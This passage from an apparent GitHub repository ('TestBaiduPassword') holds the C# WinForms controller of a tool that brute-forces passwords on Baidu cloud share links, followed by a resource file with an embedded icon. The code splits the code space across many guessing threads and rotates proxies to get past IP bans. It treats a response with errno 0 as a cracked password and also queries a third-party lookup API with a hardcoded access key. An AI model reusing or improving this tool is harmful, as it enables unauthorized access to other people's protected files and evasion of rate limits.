Convert.ToInt32(text_xczs.Text);//线程总数\n                int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度\n                int start = Hash.StrTo4Hash(text_ksd.Text);//起始值\n                int end = Hash.StrTo4Hash(text_jsd.Text);//结束值\n                int total = end - start + 1;//尝试的总数\n                int section = total / xczs;//线程的次数\n\n                #endregion 基本的线程\n\n                #region 预防(防止)线程的总数大于尝试的总数\n\n                if (xczs > total)\n                {\n                    MessageBox.Show(\"小伙子又想让程序出BUG吗？\");\n                    MessageBox.Show(\"检测到线程的总数大于尝试的总数\");\n                    return;\n                }\n\n                #endregion 预防(防止)线程的总数大于尝试的总数\n\n                #region 标识程序启动\n\n                //把分享地址赋值给静态变量\n                StaticClass.url = text_url.Text;\n                //设置线程默认状态给静态变量\n                StaticClass.status = false;\n\n                btn_status.Text = \"停止\";\n                btn_start.Enabled = false;\n                btn_net.Enabled = false;\n                cB_mxwxz.Enabled = false;\n                cB_proxy.Enabled = false;\n                cB_ypsuperkey.Enabled = false;\n\n                #endregion 标识程序启动\n\n                #region 创建线程\n\n                for (int i = 1; i <= xczs; i++)\n                {\n                    int _start = start + section * (i - 1);//一条线程的开始值\n                    int _end = start + section * i;//一条线程的结束值\n\n                    new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();\n                }\n\n                #endregion 创建线程\n            }\n        }\n\n        /// <summary>\n        /// 联网查密(用到互联网搜索功能)\n        /// </summary>\n        private void btn_net_Click(object sender, EventArgs e)\n        {\n            if (!cB_ypsuperkey.Checked) { MessageBox.Show(\"请使用 云盘万能钥匙 提供的方案\"); return; }\n            if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\n\n            MessageBox.Show(\"本服务由 云盘万能钥匙(www.ypsuperkey.com)提供，本人仅是使用提供的接口\");\n\n            string info = text_url.Text.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\n            string url = \"https://www.ypsuperkey.com/api/items/BDY-\" + info + \"?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg\";\n            string data = StaticClass.HttpGet(url);//请求并获得返回数据\n            data = \"密码为\" + Regex.Match(data, \"\\\"access_code\\\":\\\".+?\\\"\").Value.ToString().Replace(\"\\\"\", \"\").Replace(\"access_code:\", \"\");\n            if (data == \"密码为\") data = \"还是老老实实暴密码吧\";\n            MessageBox.Show(data, \"提示\");\n        }\n\n        #region 委托进行显示数据\n\n        private delegate void Modifystr(string html, string password);\n\n        public void ModifyStr(string html, string password)\n        {\n            if (InvokeRequired)\n            {\n                Modifystr stcb = new Modifystr(ModifyStr);\n                Invoke(stcb, new object[] { html, password });\n            }\n            else\n            {\n                txt_ts.Text = html + \"》正在尝试：\" + password;//显示点啥\n                File.AppendAllText(StaticClass.file + \"/logs.ini\", txt_ts.Text + \"\\r\\n\");//输出日志\n                if (html.Contains(\"\\\"errno\\\":0\"))//密码正常\n                {\n                    StaticClass.status = true;\n                    btn_status.Text = \"启动\";\n\n                    MessageBox.Show(\"密码是：\" + password);\n                }\n                else if (html.Contains(\"\\\"errno\\\":-9\"))//密码错误\n                {\n                }\n                else if (html.Contains(\"\\\"errno\\\":-62\"))//要输入验证码\n                {\n                }\n                else//拒绝访问、未知错误\n                {\n                    if (!StaticClass.status && !cB_proxy.Checked)\n                    {\n                        btn_status.PerformClick();\n\n                        MessageBox.Show(\"你的IP被拒绝访问，请稍后重试\");\n                    }\n                }\n            }\n        }\n\n        #endregion 委托进行显示数据\n\n        #region 浏览器预览网页\n\n        /// <summary>\n        /// 跳转到开源页\n        /// </summary>\n        private void txt_ts_Click(object sender, EventArgs e)\n        {\n            try { System.Diagnostics.Process.Start(\"https://github.com/zgcwkj/TestBaiduPassword\"); } catch { }\n        }\n\n        #endregion 浏览器预览网页\n\n        #region 检验常规数据\n\n        /// <summary>\n        /// 限制输入\n        /// </summary>\n        private void _KeyPress(object sender, KeyPressEventArgs e)\n        {\n            if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;\n        }\n\n        /// <summary>\n        /// 验证代理IP的文件是否正常\n        /// </summary>\n        private void cB_proxy_CheckedChanged(object sender, EventArgs e)\n        {\n            if (cB_proxy.Checked)\n            {\n                if (StaticClass.proxy == null)\n                {\n                    MessageBox.Show(\"请先 选择解决方案\");\n                    cB_proxy.Checked = false;\n                    return;\n                }\n                if (!File.Exists(StaticClass.proxy))\n                {\n                    string text = \"\";\n                    text += \"使用代理方案说明：\\r\\n\";\n                    text += \"1：请确保代理的 IP 必须支持 SSL(即Https)\\r\\n\";\n                    text += \"2：使用代理方案后，程序将不会检测代理 IP 是否有效,也意味着程序不会自动停止\\r\\n\";\n                    text += \"3：作者 zgcwkj 编写日期 20181103\\r\\n\";\n                    text += \"\\r\\n\";\n                    text += \"\\r\\n\";\n                    text += \"把文本的内容清空\\r\\n\";\n                    text += \"填入内容格式为 IP:端号 回车，以此类推\\r\\n\";\n                    text += \"注意最后一个不要加回车\\r\\n\";\n                    text += \"\\r\\n\";\n                    text += \"记得保存文本！不然白写\\r\\n\";\n                    text += \"\";\n\n                    File.WriteAllText(StaticClass.proxy, text);\n                    System.Diagnostics.Process.Start(\"notepad.exe\", StaticClass.proxy);\n                    cB_proxy.Checked = false;\n                    return;\n                }\n            }\n        }\n\n        #endregion 检验常规数据\n\n        #region 退出程序\n\n        /// <summary>\n        /// 退出程序\n        /// </summary>\n        private void Main_FormClosed(object sender, FormClosedEventArgs e)\n        {\n            StaticClass.status = false;\n            Application.Exit();\n        }\n\n        #endregion 退出程序\n    }\n}\n"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Main.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <metadata name=\"fBD.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 17</value>\n  </metadata>\n  <metadata name=\"$this.TrayHeight\" type=\"System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>33</value>\n  </metadata>\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n    <value>\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\n        